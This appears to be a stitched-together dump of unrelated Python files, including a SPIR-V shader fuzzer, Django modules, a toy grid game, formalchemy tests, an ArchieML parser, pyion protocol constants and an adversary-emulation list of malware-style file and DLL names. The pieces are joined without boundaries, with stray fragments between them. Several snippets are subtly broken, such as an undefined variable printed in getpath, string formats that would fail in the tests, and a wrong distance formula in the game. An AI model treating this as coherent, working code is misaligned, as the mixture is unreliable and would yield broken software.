OpDecorate(target=ext_inst, decoration=Decoration.NoContraction) ) return [ext_inst] class FrexpStruct( UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand: return [] struct_type = OpTypeStruct() inner_type1 = operand.type int_type = OpTypeInt() int_type.width = 32 int_type.signed = 1 if IsVectorType(operand): inner_type2 = OpTypeVector() inner_type2.type = int_type inner_type2.size = len(inner_type1) else: inner_type2 = int_type context.add_to_tvc(inner_type2) struct_type.types = (inner_type1, inner_type2) context.add_to_tvc(struct_type) return [ OpExtInst( type=struct_type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand,), ) ] # # # # # # # # # # # # # # # # # TODO: packing and unpacking # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # class Length( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand = context.get_random_operand(And(IsVectorType, IsOfFloatBaseType)) if not operand: return [] result_type = OpTypeFloat().fuzz(context)[-1] return [ OpExtInst( type=result_type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand,), ) ] class Distance( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand(And(IsVectorType, IsOfFloatBaseType)) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) result_type = OpTypeFloat().fuzz(context)[-1] return [ OpExtInst( type=result_type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=( operand1, operand2, ), ) ] class Cross( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( And(IsVectorType, IsOfFloatBaseType, HasLength(3)) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2), ) ] class Normalize( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class FaceForward( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] class Reflect( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... # # TODO # class Refract: # ... class FindILsb( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeInt, None, None, None], GLSLExtensionOperator, ): ... class FindSMsb( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): ... class FindUMsb( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeInt, None, Unsigned, None], GLSLExtensionOperator, ): ... # Fragment only # class InterpolateAtCentroid( # UnaryOperatorFuzzMixin, # UnaryArithmeticOperator[OpTypeFloat, None, None, None], # GLSLExtensionOperator, # ): # ... # Fragment only # class InterpolateAtSample( # BinaryOperatorFuzzMixin, # BinaryArithmeticOperator[OpTypeFloat, None, None, None], # GLSLExtensionOperator, # ): # ... # Fragment only # class InterpolateAtOffset( # BinaryOperatorFuzzMixin, # BinaryArithmeticOperator[OpTypeFloat, None, None, None], # GLSLExtensionOperator, # ): # ... class NMin( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class NMax( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class NClamp( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] TetsuFe/hokumahokudai_furima/site_rules/apps.py1-10 from django.apps import AppConfig class SiteRulesConfig(AppConfig): name = 'site_rules' import time import datetime data=[ '2020001' ] def getpath(array): for x in array: subvar=str(x[2:8]) date=datetime.datetime.strptime(subvar, '%y%j').date() datee=date.strftime('%d-%m-%Y') print(time_stamp) getpath(data) class Game: def __init__(self, width=3, height=3): self.width = width self.height = height self.board = [[0 for _ in range(width)] for _ in range(height)] self.board[0][width - 1] = 2 self.board[height - 1][0] = 1 self.player_x = 0 self.player_y = height - 1 self.target_x = width - 1 self.target_y = 0 def return_state(self): flat = [] for row in self.board: for x in row: flat.append(x) return flat def move_player(self, direction): distance = abs(self.target_x - self.player_x) + abs(self.target_x - self.player_y) # right if direction == 0 and self.player_x != self.width - 1: self.board[self.player_y][self.player_x] = 0 self.player_x += 1 self.board[self.player_y][self.player_x] = 1 # up if direction == 1 and self.player_y != 0: self.board[self.player_y][self.player_x] = 0 self.player_y -= 1 self.board[self.player_y][self.player_x] = 1 # left if direction == 2 and self.player_x != 0: self.board[self.player_y][self.player_x] = 0 self.player_x -= 1 self.board[self.player_y][self.player_x] = 1 # down if direction == 3 and self.player_y != self.height - 1: self.board[self.player_y][self.player_x] = 0 self.player_y += 1 self.board[self.player_y][self.player_x] = 1 new_distance = abs(self.target_x - self.player_x) + abs(self.target_x - self.player_y) reward = distance - new_distance if self.check_target(): reward = 10 elif reward == -1: reward = -2 elif reward == 0: reward = -1 # print(reward, self.return_state(), self.check_target()) return reward, self.return_state(), self.check_target() def check_target(self): return self.player_x == self.target_x and self.player_y == self.target_y def __str__(self): ans = '' for row in self.board: temp = '' for num in row: if num == 0: temp += ' ' else: temp += str(num) temp += ' ' ans += '\n'+temp return ans game = Game() # right, then left game.move_player(0) game.move_player(2) # up, then down game.move_player(1) game.move_player(3) # win: up x3, right x3 game.move_player(1) game.move_player(1) game.move_player(0) game.move_player(0) pombreda/formalchemyformalchemy/tests/test_fsblob.py import os import cgi import shutil import tempfile from StringIO import StringIO from nose import with_setup from formalchemy.tests import * from formalchemy.tests.test_binary import * from formalchemy.ext.fsblob import FileFieldRenderer as BaseFile from formalchemy.ext.fsblob import ImageFieldRenderer as BaseImage from formalchemy.ext.fsblob import file_extension TEMPDIR = tempfile.mkdtemp() class FileFieldRenderer(BaseFile): storage_path = TEMPDIR class ImageFieldRenderer(BaseImage): storage_path = TEMPDIR def setup_tempdir(): if not os.path.isdir(TEMPDIR): os.makedirs(TEMPDIR) def teardown_tempdir(): if os.path.isdir(TEMPDIR): shutil.rmtree(TEMPDIR) @with_setup(setup_tempdir, teardown_tempdir) def test_file_storage(): fs = FieldSet(Binaries) record = fs.model fs.configure(include=[fs.file.with_renderer(FileFieldRenderer)]) assert 'test.js' not in fs.render() data = get_fields(TEST_DATA) fs.rebind(data=data) assert fs.validate() is True assert fs.file.value.endswith('/test.js') fs.sync() filepath = os.path.join(TEMPDIR, fs.file.value) assert os.path.isfile(filepath), filepath view = fs.file.render_readonly() value = 'test.js (1 KB)' % fs.file.value assert value in view, '%s != %s' % (value, view) assert value in fs.file.render(), fs.render() @with_setup(setup_tempdir, teardown_tempdir) def test_image_storage(): fs = FieldSet(Binaries) record = fs.model fs.configure(include=[fs.file.with_renderer(ImageFieldRenderer)]) assert 'test.js' not in fs.render() data = get_fields(TEST_DATA) fs.rebind(data=data) assert fs.validate() is True fs.sync() assert fs.file.value.endswith('/test.js') filepath = os.path.join(TEMPDIR, fs.file.value) assert os.path.isfile(filepath), filepath view = fs.file.render_readonly() v = fs.file.value value = 'test.js (1 KB)' % (v, v) assert value in view, '%s != %s' % (value, view) assert value in fs.file.render(), fs.render() @with_setup(setup_tempdir, teardown_tempdir) def test_file_validation(): fs = FieldSet(Binaries) record = fs.model fs.configure(include=[ fs.file.with_renderer( FileFieldRenderer ).validate(file_extension(['js']))]) data = get_fields(TEST_DATA) fs.rebind(data=data) assert fs.validate() is True fs.configure(include=[ fs.file.with_renderer( FileFieldRenderer ).validate(file_extension(['txt']))]) data = get_fields(TEST_DATA) fs.rebind(data=data) assert fs.validate() is False tests/cli/test_cli_createuser.py from click.testing import CliRunner from bitcaster.cli.commands.createuser import createuser def test_cli_configure(): runner = CliRunner(echo_stdin=True) with runner.isolated_filesystem(): result = runner.invoke(createuser, args=['--email', '', '--password', 'Password!'], obj={}) assert result.exit_code == 0 #!/usr/bin/env python from simulator import Simulator def main(): simulation = Simulator() simulation.start() main() 0 from pyspark.sql import SparkSession, DataFrame import pandas as pd class IOHelper(object): def __init__(self): session = SparkSession.builder.appName("Python Spark SQL basic example").enableHiveSupport().getOrCreate() self.sparkSession = session def getSparkSession(self): return self.sparkSession def read(self, tableName="train"): self.sparkSession.table(tableName) def write(self, df: DataFrame, tableName="result"): df.write.mode("overwrite").saveAsTable(tableName) def getFromPadasDF(self, pddf: pd.DataFrame): self.sparkSession.createDataFrame(pddf).toPandascaldera/app/adversary/word_lists.py # artifact_lists containing adversary used words pulled from threat intelligence reports. # Using generic python lists for now import random executables = ["doc.exe", "test.exe", "install.exe", "vmware_manager.exe", "csrs.exe", "hpinst.exe"] dlls = ["IePorxyv.dll", "msupd.dll", "ieupd.dll", "mgswizap.dll", "lsasrvi.dll", "iprpp.dll", "hello32.dll", "amdcache.dll"] services = ["myservice"] scheduled_tasks = ["mysc"] file_paths = ["C:\\"] def get_executable(): return random.choice(executables) def get_dll(): return random.choice(dlls) def get_service(): return random.choice(services) def get_scheduled_task(): return random.choice(scheduled_tasks) def get_file_path(): return random.choice(file_paths) MitchellTesla/Quantm # original matrix print(a, '\n') # matrix transpose print(np.transpose(a)) import re from collections import OrderedDict try: from StringIO import StringIO except ImportError: from io import StringIO class Scope(object): def __init__(self, key=None, brace='{', flags='', old_scope=None): assert brace == '{' or brace == '[' self.brace = brace self.is_nested = '.' in flags self.is_freeform = '+' in flags if not key: self.path = [] elif self.is_nested and old_scope is not None: self.path = old_scope.get_path(key) if old_scope.is_freeform: self.path[-1] = 'value' else: self.path = key.split('.') if brace == '[': self.index = 0 else: self.index = None self.first_key = None self.is_simple = False def update_index(self, key): if self.brace == '[': if self.first_key is None: self.first_key = key return False elif self.first_key == key: self.index += 1 return True return False def get_path(self, key): if isinstance(key, int): path = self.path + [key] self.is_simple = (not self.is_freeform) self.index += 1 else: if not self.is_freeform: path = key.split('.') else: path = [key] if self.brace == '[': path = self.path + [self.index] + path else: path = self.path + path return path class Loader(object): WHITESPACE = u'\u0000\u0009\u000A\u000B\u000C\u000D\u0020\u00A0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u200B\u2028\u2029\u202F\u205F\u3000\uFEFF' # blacklist characters: "[\]{}:" SLUG_BLACKLIST = WHITESPACE + u'\u005B\u005C\u005D\u007B\u007D\u003A' KEY_PATTERN = re.compile(r'^\s*(?P[^' + SLUG_BLACKLIST + r']+)[ \t\r]*:[ \t\r]*(?P.*(?:\n|\r|$))', re.UNICODE) COMMAND_PATTERN = re.compile(r'^\s*:[ \t\r]*(?Pendskip|ignore|skip|end).*?(?:\n|\r|$)', re.IGNORECASE) ELEMENT_PATTERN = re.compile(r'^\s*\*[ \t\r]*(?P.*(?:\n|\r|$))') SCOPE_PATTERN = re.compile(r'^\s*(?P\[|\{)[ \t\r]*(?P[\+\.]{0,2})(?P[^' + SLUG_BLACKLIST + r']*(?:\.[\w-]+)*)[ \t\r]*(?:\]|\}).*?(?:\n|\r|$)', re.UNICODE) def __init__(self): self.data = OrderedDict() self.reset_buffer() self.initial_scope = Scope() self.stack = [self.initial_scope] self.is_skipping = False self.done_parsing = False @property def current_scope(self): return self.stack[-1] def reset_buffer(self, key=None, value=''): self.buffer_key = key self.buffer_value = value def prepare_data(self, path): data = self.data for i, k in enumerate(path[:-1]): if isinstance(data, list): try: data = data[k] except IndexError: data.append(OrderedDict()) data = data[k] elif isinstance(data, dict): if k not in data: data[k] = OrderedDict() else: next_k = path[i+1] try: data[k][next_k] except (KeyError, IndexError): pass except TypeError: data[k] = OrderedDict() data = data[k] return data def set_value(self, key, value, use_scope=True): if use_scope: path = self.current_scope.get_path(key) else: path = self.initial_scope.get_path(key) data = self.prepare_data(path) k = path[-1] if isinstance(data, dict): if value == OrderedDict() and isinstance(data.get(k), dict): pass else: data[k] = value elif isinstance(data, list): try: data[k] = value except IndexError: data.append(value) def load(self, fp): for line in fp: if hasattr(line, 'decode') and not isinstance(line, unicode): # This is a byte string, decode it line = line.decode('utf-8-sig') scope = self.current_scope if self.done_parsing: break elif line[0] == '\\': self.load_text(line) elif self.COMMAND_PATTERN.match(line): m = self.COMMAND_PATTERN.match(line) self.load_command(m.group('command')) elif (not self.is_skipping and not scope.is_simple and self.KEY_PATTERN.match(line)): m = self.KEY_PATTERN.match(line) self.load_key(m.group('key'), m.group('value')) elif (not self.is_skipping and (scope.is_simple or (scope.first_key is None and scope.brace == '[' and not scope.is_freeform)) and self.ELEMENT_PATTERN.match(line)): m = self.ELEMENT_PATTERN.match(line) self.load_element(m.group('value')) elif not self.is_skipping and self.SCOPE_PATTERN.match(line): m = self.SCOPE_PATTERN.match(line) self.load_scope(m.group('brace'), m.group('flags'), m.group('scope_key')) elif not self.is_skipping: self.load_text(line) return self.data def load_command(self, command): command = command.lower() if self.is_skipping and not (command == 'endskip' or command == 'ignore'): pass elif command == 'end' and self.buffer_key is not None and self.buffer_value: self.set_value(self.buffer_key, self.buffer_value.strip()) elif command == 'ignore': self.done_parsing = True elif command == 'skip': self.is_skipping = True elif command == 'endskip': self.is_skipping = False self.reset_buffer() def load_key(self, key, value): if self.current_scope.is_freeform: self.set_value( self.current_scope.index, OrderedDict([ ('type', key), ('value', value.strip()) ]) ) else: self.current_scope.update_index(key) self.set_value(key, value.strip()) self.reset_buffer(key, value) def load_element(self, value): key = self.current_scope.index self.set_value(key, value.strip()) self.reset_buffer(key, value) def load_scope(self, brace, flags, scope_key): if scope_key == '' and len(self.stack) > 1: self.stack.pop() else: old_scope = self.current_scope new_scope = Scope(scope_key, brace=brace, flags=flags, old_scope=old_scope) if new_scope.is_nested: old_scope.update_index(scope_key) if old_scope.is_freeform and new_scope.is_nested: self.set_value( old_scope.index, OrderedDict([ ('type', scope_key), ('value', OrderedDict() if brace == '{' else []) ]) ) else: self.set_value( scope_key, OrderedDict() if brace == '{' else [], use_scope=new_scope.is_nested ) # See: https://github.com/newsdev/archieml-js/issues/17 if len(self.stack) > 1 and not new_scope.is_nested: self.stack[-1] = new_scope else: self.stack.append(new_scope) self.reset_buffer() def load_text(self, text): if self.current_scope.is_freeform and text.strip(): self.set_value( self.current_scope.index, OrderedDict([ ('type', 'text'), ('value', text.strip()) ]) ) else: self.buffer_value += re.sub(r'^(\s*)\\', r'\1', text) def load(fp): return Loader().load(fp) def loads(aml): return Loader().load(StringIO(aml)) 0 from __future__ import division # LIBTBX_SET_DISPATCHER_NAME phenix.mask import sys import iotbx.pdb from libtbx.utils import Sorry from cctbx import maptbx import mmtbx.utils from mmtbx.maps import fem legend = """phenix.mask: Given PDB file calculate bulk-solvent mask How to run: phenix.mask model.pdb """ master_params_str = """ resolution=1.0 .type=float resolution_factor=1./4 .type=float """ def master_params(): return iotbx.phil.parse(master_params_str) def run(args, log=sys.stdout): print >> log, "-"*79 print >> log, legend print >> log, "-"*79 inputs = mmtbx.utils.process_command_line_args(args = args, master_params = master_params()) file_names = inputs.pdb_file_names if(len(file_names) != 1): raise Sorry("A PDB file is expected.") xrs = iotbx.pdb.input(file_name = file_names[0]).xray_structure_simple() params = inputs.params.extract() # crystal_gridding = maptbx.crystal_gridding( unit_cell = xrs.unit_cell(), d_min = params.resolution, resolution_factor = params.resolution_factor, symmetry_flags = maptbx.use_space_group_symmetry, space_group_info = xrs.space_group().info()) mmtbx_masks_asu_mask_obj = mmtbx.masks.asu_mask( xray_structure = xrs.expand_to_p1(sites_mod_positive=True), n_real = crystal_gridding.n_real()) bulk_solvent_mask = mmtbx_masks_asu_mask_obj.mask_data_whole_uc() # fem.ccp4_map(cg=crystal_gridding, file_name="mask.ccp4", map_data=bulk_solvent_mask) if (__name__ == "__main__"): run(args=sys.argv[1:]) 1-10 #!/usr/bin/env python """Command-line interface.""" import click from rich import traceback @click.command() @click.version_option(version="0.3.6", message=click.style("version-differ Version: 0.3.6")) def main() -> None: """version-differ.""" if __name__ == "__main__": traceback.install() main(prog_name="version-differ") # pragma: no cover shogiman/pyion """ # =========================================================================== # This file constains all the constants used in pyion # # Author: # Date: 04/17/2019 # Copyright (c) 2019, California Institute of Technology ("Caltech"). # U.S. Government sponsorship acknowledged. # =========================================================================== """ # Generic imports from enum import IntEnum, unique from unittest.mock import Mock from warnings import warn # Import C Extensions try: import _bp import _cfdp except ImportError: warn('_bp, _cfdp extensions not available. Using mock instead.') _bp, _cfdp = Mock(), Mock() # Define all methods/vars exposed at pyion __all__ = [ 'BpCustodyEnum', 'BpPriorityEnum', 'BpEcsEnumeration', 'BpReportsEnum', 'BpAckReqEnum', 'CfdpMode', 'CfdpClosure', 'CfdpMetadataEnum', 'CfdpFileStoreEnum', 'CfdpEventEnum', 'CfdpConditionEnum', 'CfdpFileStatusEnum', 'CfdpDeliverCodeEnum' ] # ============================================================================ # === BUNDLE PROTOCOL # ============================================================================ @unique class BpCustodyEnum(IntEnum): """ BP custody switch enumeration. See ``help(CustodyEnum)`` """ NO_CUSTODY_REQUESTED = _bp.NoCustodyRequested SOURCE_CUSTODY_OPTIONAL = _bp.SourceCustodyOptional SOURCE_CUSTODY_REQUIRED = _bp.SourceCustodyRequired @unique class BpPriorityEnum(IntEnum): """ BP priority enumeration. See ``help(BpPriorityEnum)`` """ BP_BULK_PRIORITY = _bp.BP_BULK_PRIORITY BP_STD_PRIORITY = _bp.BP_STD_PRIORITY BP_EXPEDITED_PRIORITY = _bp.BP_EXPEDITED_PRIORITY @unique class BpEcsEnumeration(IntEnum): """ BP extended class-of-service enumeration. See ``help(BpEcsEnumeration)`` - BP_MINIMUM_LATENCY: Forward bundle on all routes - BP_BEST_EFFORT: Send using an unreliable convergence layer - BP_FLOW_LABEL_PRESENT: Ignore flow label if 0 - BP_RELIABLE: Send using a reliable convergence layer - BP_RELIABLE_STREAMING: BP_BEST_EFFORT | BP_RELIABLE """ BP_MINIMUM_LATENCY = _bp.BP_MINIMUM_LATENCY BP_BEST_EFFORT = _bp.BP_BEST_EFFORT BP_FLOW_LABEL_PRESENT = _bp.BP_FLOW_LABEL_PRESENT BP_RELIABLE = _bp.BP_RELIABLE BP_RELIABLE_STREAMING = _bp.BP_RELIABLE_STREAMING @unique class BpReportsEnum(IntEnum): """ BP reports enumeration. See ``help(BpReportsEnum)`` """ BP_NO_RPTS = 0 BP_RECEIVED_RPT = _bp.BP_RECEIVED_RPT BP_CUSTODY_RPT = _bp.BP_CUSTODY_RPT BP_FORWARDED_RPT = _bp.BP_FORWARDED_RPT BP_DELIVERED_RPT = _bp.BP_DELIVERED_RPT BP_DELETED_RPT = _bp.BP_DELETED_RPT @unique class BpAckReqEnum(IntEnum): """ BP application acknowledgement enumeration. See ``help(BpAckReqEnum)`` """ BP_ACK_REQ = True BP_NO_ACK_REQ = False # ============================================================================ # === CFDP PROTOCOL # ============================================================================ @unique class CfdpMode(IntEnum): """ CFDP mode enumeration. See ``help(CfdpMode)`` - CFDP_CL_RELIABLE: Reliability provided by the convergence layer - CFDP_UNRELIABLE: No reliability provided - CFDP_BP_RELIABLE: Reliability provided by BP custody transfer """ CFDP_CL_RELIABLE = 0 # Reliability provided by convergence layer CFDP_UNRELIABLE = 1 # No reliability provided CFDP_BP_RELIABLE = 2 # Reliability provided by custody transfer @unique class CfdpClosure(IntEnum): """ Length of time following transmission of the EOF PDU within which a responding Transaction Finish PDU is expected. If no Finish PDU is requested, this parameter value should be zero. .. Tip:: If you need a number of seconds not specified as an option in this enumeration, simply pass it directly. """ CFDP_NO_CLOSURE = 0 # No closure. CFDP_1_SEC = 1 CFDP_1_MIN = 60 CFDP_5_MIN = 300 CFDP_1_HR = 3600 @unique class CfdpMetadataEnum(IntEnum): """ CFDP segment metadata options. See ``help(CfdpMetadataEnum)`` - CFDP_NO_SEG_METADATA: No metadata added - CFDP_SEG_METADATA: Adds current time as string to all PDUs """ CFDP_NO_SEG_METADATA = 0 CFDP_SEG_METADATA = 1 @unique class CfdpFileStoreEnum(IntEnum): """ CFDP file store actions. See ``help(CfdpFileStoreEnum)`` """ CFDP_CREATE_FILE = _cfdp.CfdpCreateFile CFDP_DELETE_FILE = _cfdp.CfdpDeleteFile CFDP_RENAME_FILE = _cfdp.CfdpRenameFile CFDP_APPEND_FILE = _cfdp.CfdpAppendFile CFDP_REPLACE_FILE = _cfdp.CfdpReplaceFile CFPD_CREATE_DIR = _cfdp.CfdpCreateDirectory CFDP_REMOVE_DIR = _cfdp.CfdpRemoveDirectory CFDP_DENY_FILE = _cfdp.CfdpDenyFile CFDP_DENY_DIR = _cfdp.CfdpDenyDirectory @unique class CfdpEventEnum(IntEnum): """ CFDP event types. See ``help(CfdpEventEnum)`` and Section 3.5.6 of CCSDS CFDP """ CFDP_NO_EVENT = _cfdp.CfdpNoEvent CFDP_TRANSACTION_IND = _cfdp.CfdpTransactionInd CFDP_EOF_SENT_IND = _cfdp.CfdpEofSentInd CFDP_TRANSACTION_FINISHED_IND = _cfdp.CfdpTransactionFinishedInd CFDP_METADATA_RECV_IND = _cfdp.CfdpMetadataRecvInd CFDP_FILE_SEGMENT_IND = _cfdp.CfdpFileSegmentRecvInd CFDP_EOF_RECV_IND = _cfdp.CfdpEofRecvInd CFDP_SUSPENDED_IND = _cfdp.CfdpSuspendedInd CFDP_RESUMED_IND = _cfdp.CfdpResumedInd CFDP_REPORT_IND = _cfdp.CfdpReportInd CFDP_FAULT_IND = _cfdp.CfdpFaultInd CFDP_ABANDONED_IND = _cfdp.CfdpAbandonedInd CFDP_ALL_IND = 100 @unique class CfdpConditionEnum(IntEnum): """ CFDP condition types. See ``help(CfdpConditionEnum)`` """ CFDP_NO_ERROR = _cfdp.CfdpNoError CFDP_ACK_LIMIT_REACHED = _cfdp.CfdpAckLimitReached CFDP_KEEP_ALIVE_LIMIT_REACHED = _cfdp.CfdpKeepaliveLimitReached CFDP_INVALID_TRANS_MODE = _cfdp.CfdpInvalidTransmissionMode CFDP_FILESTORE_REJECT = _cfdp.CfdpFilestoreRejection CFDP_CHECKSUM_FAIL = _cfdp.CfdpChecksumFailure CFDP_FILESIZE_ERROR = _cfdp.CfdpFileSizeError CFDP_NACK_LIMI_REACHED = _cfdp.CfdpNakLimitReached CFDP_INACTIVITY_DETECTED = _cfdp.CfdpInactivityDetected CFDP_INVALID_FILE_STRUCT = _cfdp.CfdpInvalidFileStructure CFDP_CHECK_LIMIT_REACHED = _cfdp.CfdpCheckLimitReached CFDP_SUSPED_REQUESTED = _cfdp.CfdpSuspendRequested CFDP_CANCEL_REQUESTED = _cfdp.CfdpCancelRequested @unique class CfdpFileStatusEnum(IntEnum): """ CFDP file status enumeration. See ``help(CfdpFileStatusEnum)`` """ CFDP_FILE_DISCARDED = _cfdp.CfdpFileDiscarded CFDP_FILE_REJECTED = _cfdp.CfdpFileRejected CFDP_FILE_RETAINED = _cfdp.CfdpFileRetained CFDP_FILE_UNREPORTED = _cfdp.CfdpFileStatusUnreported @unique class CfdpDeliverCodeEnum(IntEnum): """ CFDP delivery code enumeration. See ``help(CfdpDeliverCodeEnum)`` """ CFDP_DATA_COMPLETE = _cfdp.CfdpDataComplete CFDP_DATA_INCOMPLETE = _cfdp.CfdpDataIncomplete#!/usr/bin/env python3 """Solution for: https://www.hackerrank.com/challenges/recursive-digit-sum""" def super_digit(n: int) -> int: """Return the result of summing of a number's digits until 1 digit remains.""" ds = n % 9 if ds: return ds return 9 def main(): """Print the concatenated supoer digit of a number""" n, k = [int(x) for x in input().strip().split()] print(super_digit(n * k)) if __name__ == '__main__': main() christopinka/django-civil # -*- coding: utf-8 -*- from os.path import join, isfile from django.conf import settings from django.db import models from django.db.models import get_model, related from django.db.models.fields import AutoField import xlrd import batchimport_settings def process_import_file(import_file, session): """ Open the uploaded file and save it to the temp file location specified in BATCH_IMPORT_TEMPFILE_LOCATION, adding the current session key to the file name. Then return the file name so it can be stored in the session for the current user. **Required arguments** ``import_file`` The uploaded file object. ``session`` The session object for the current user. ** Returns** ``save_file_name`` The name of the file saved to the temp location. """ import_file_name = import_file.name session_key = session.session_key save_file_name = session_key + import_file_name destination = open(join(batchimport_settings.BATCH_IMPORT_TEMPFILE_LOCATION, save_file_name), 'wb+') for chunk in import_file.chunks(): destination.write(chunk) destination.close() return save_file_name def get_model_list(): """ Get a list of models for which the user can batch import information. Start by assuming that the user has specified the list in the settings.py file. If not (or it's empty) go through all installed apps and get a list of models. """ model_list = [] relation_list = [] settings_model_list = batchimport_settings.BATCH_IMPORT_IMPORTABLE_MODELS if settings_model_list: for model in settings_model_list: model_list.append((model, model.split('.')[len(model.split('.'))-1])) else: for app in settings.INSTALLED_APPS: if not app == 'batchimport': try: mod = __import__(app + '.models') if 'models' in dir(mod): for item in dir(mod.models): if item and (type(getattr(mod.models, item)) == type(models.Model)): if not (app+'.models.'+item, item) in model_list: # You have to try to instantiate it to rule out any models # you might find in the app that were simply imported (i.e. not # REALLY part of that app). model = get_model(app, item) if model: model_list.append(('.'.join([model.__module__, model.__name__]), item)) relationship_list = _get_relation_list(model) for relationship in relationship_list: relation_list.append(relationship) except ImportError: pass model_list.sort() relation_list.sort() for relation in relation_list: model_list.append(relation) return model_list def get_column_choice_list(save_file_name): """ Use xlrd to open the file whose name/path is sent in via ``save_file_name``. Once open, retrieve a list of values representing the first value in each column of the spreadsheet. Hopefully, this will be a header row but if it's not, it will be a list of sample values, one for each column. **Required arguments** ``save_file_name`` The activation key to validate and use for activating the ``User``. ** Returns** ``column_choice_list`` A list of choice tuples to be used to get the mapping between a model field and a spreadsheet column. """ column_choice_list = [] column_choice_list.append((-1, 'SELECT COLUMN')) filepath = join(batchimport_settings.BATCH_IMPORT_TEMPFILE_LOCATION, save_file_name) if not isfile(filepath): raise NameError, "%s is not a valid filename" % save_file_name book = xlrd.open_workbook(filepath) sheet = book.sheet_by_index(0) column_index = 0 for column in range(0,sheet.ncols): column_item = sheet.cell_value(rowx=0, colx=column) column_choice_list.append((column_index, column_item)) column_index = column_index + 1 return column_choice_list def get_model_fields(model_name, importing_relations_only=False): """ Use reflection to get the list of fields in the supplied model. If any of the fields represented a related field (ForeignKey, OneToOne, etc) then the function will get a list of fields for the related model. These fields will be used to prompt the user to map a spreadsheet column value to a specific field on the RELATED model for related fields. For example, suppose you had a model for Student that had a field for name, a field for date of birth and a foreign key field to teacher. The spreadsheet the user uploads may have name, dob, teacher. The related model is Teacher which has a bunch of fields too. By getting a list of these fields, we can prompt the user later to specify WHICH field on the related model we should use to search for the specific Teacher we want to relate to a given student (from a row in the spreadsheet). This gives the user the flexibility of creating a spreadsheet with student_name, student_dob, and teacher_id OR teacher_email OR teacher_name, etc. **Required arguments** ``model_name`` The (full) name of the model for which a batch import is being attempted. ** Returns** ``field_tuple_list`` Each entry is a tuple in the form: (field_name, [list_of_field_names_for_related_model]) """ field_tuple_list = [] app_name = model_name.split('.')[0] specific_model_name = model_name.split('.')[-1] model = get_model(app_name, specific_model_name) opts = model._meta field_tuple_list.extend(_get_field_tuple_list(opts.fields, importing_relations_only)) many_to_many_field_tuples = _get_field_tuple_list(opts.many_to_many, importing_relations_only) for field_tuple in many_to_many_field_tuples: if not field_tuple in field_tuple_list: field_tuple_list.append(field_tuple) #field_tuple_list.extend(_get_field_tuple_list(opts.many_to_many, importing_relations_only)) return field_tuple_list def _get_field_tuple_list(field_list, importing_relations_only): """ Used by ``get_model_fields`` to retrieve a list of tuples. Each tuple consists of a field name and, in the case of a field representing a relationship to another model (via ManyToMany, OneToOne, etc), a list of fields on the related model. **Required arguments** ``field_list`` List of fields to process. ``importing_relations_only`` A boolean telling the function whether or not the system is currently just importing relationship data as opposed to object data. ** Returns** ``field_tuple_list`` List of tuples. """ field_tuple_list = [] for field in field_list: if not importing_relations_only: if field.null: field_name = field.name else: field_name = field.name + '*' else: field_name = field.name related_model_field_name_list = [] # We will skip all '_ptr' and AutoField fields so we don't disrupt # django's inner workings. related_model_name = None related_model_app_name = None import_uneditable_flag = field.editable or batchimport_settings.BATCH_IMPORT_UNEDITABLE_FIELDS if import_uneditable_flag and (not field.name[-4:] == '_ptr') and (not field.__class__ == AutoField): if issubclass(field.__class__, related.RelatedField): #related_model_app_name = field.rel.to.__module__.split('.')[0] #related_model_app_name = __module_to_app_name__(field.rel.to.__module__) related_model_app_name = field.rel.to._meta.app_label #print related_model_app_name # We'll ignore all django-specific models (such as User, etc). if not related_model_app_name == 'django': related_model_name = field.rel.to.__name__ related_model = get_model(related_model_app_name, related_model_name) for sub_field in related_model._meta.fields: # For fields representing a relationship to another model # we'll ignore all _ptr fields, AutoFields AND # all related fields. if (not sub_field.name[-4:] == '_ptr') and \ (not sub_field.__class__ == AutoField) and \ (not 